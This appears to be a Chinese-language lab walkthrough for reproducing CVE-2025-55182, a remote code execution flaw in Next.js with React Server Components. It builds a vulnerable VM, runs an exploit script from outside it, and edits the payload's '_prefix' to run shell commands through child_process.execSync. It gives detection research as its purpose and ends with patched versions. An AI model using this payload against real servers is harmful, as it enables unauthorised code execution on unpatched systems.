本文件提供了完整且可重现的设置,用于针对运行在 Multipass Ubuntu 虚拟机内的易受攻击的 Next.js + React Server Components 环境演示 CVE-2025-55182 远程代码执行 (RCE)。
利用程序从虚拟机外部执行,证明远程可利用性,并为异常行为检测准备环境。
来源:https://github.com/ejpir/CVE-2025-55182-research
sudo apt update && sudo apt upgrade -y
sudo apt install -y curl git build-essential
curl -fsSL https://deb.nodesource.com/setup_20.x | sudo -E bash -
sudo apt install -y nodejs
验证:
node -v
npm -v
sudo adduser reactlab
sudo usermod -aG sudo reactlab
su - reactlab
mkdir ~/react2shell-lab
cd ~/react2shell-lab
npx create-next-app@latest vulnerable-app
cd vulnerable-app
package.json 中编辑依赖项:
"dependencies": {
"next": "16.0.0",
"react": "19.1.0",
"react-dom": "19.1.0"
}
重新安装包:
rm -rf node_modules package-lock.json
npm install
验证:
npm list react react-dom next
预期输出:
npm run build
npm start
预期输出:
▲ Next.js 16.0.0
Local: http://localhost:3000
Network: http://10.X.X.X:3000

在另一台机器上:
curl http://10.102.169.126:3000
您应该收到默认的 Next.js HTML 页面。
cd ~
git clone https://github.com/ejpir/CVE-2025-55182-research
cd CVE-2025-55182-research
找到:
hostname: 'localhost',
替换为:
hostname: '10.X.X.X',
在 Next 仍在运行时:
node test-simple.cjs
在 Next.js 终端中预期:
NON-CHUNKED-RCE
这确认了使用易受攻击版本通过 React Flight 进行远程代码执行。

目标是生成可观察的行为(文件系统 + 进程执行)。
test-simple.cjs 中的 _prefix定位到:
"_prefix": "console.log('NON-CHUNKED-RCE');//"
替换为:
"_prefix": "process.mainModule.require('child_process').execSync('touch /tmp/cve-2025-55182-syscall');console.log('NON-CHUNKED-RCE');//"
注意:require 在执行上下文中不可用,但 process.mainModule.require() 可用。
确保 Next 正在运行,然后:
node test-simple.cjs
检查文件创建:
ls -l /tmp/
您应该看到:
cve-2025-55182-syscall
这确认了具有副作用的实用远程代码执行。

补丁:
React ≥ 19.2.1
Next.js ≥ 16.0.7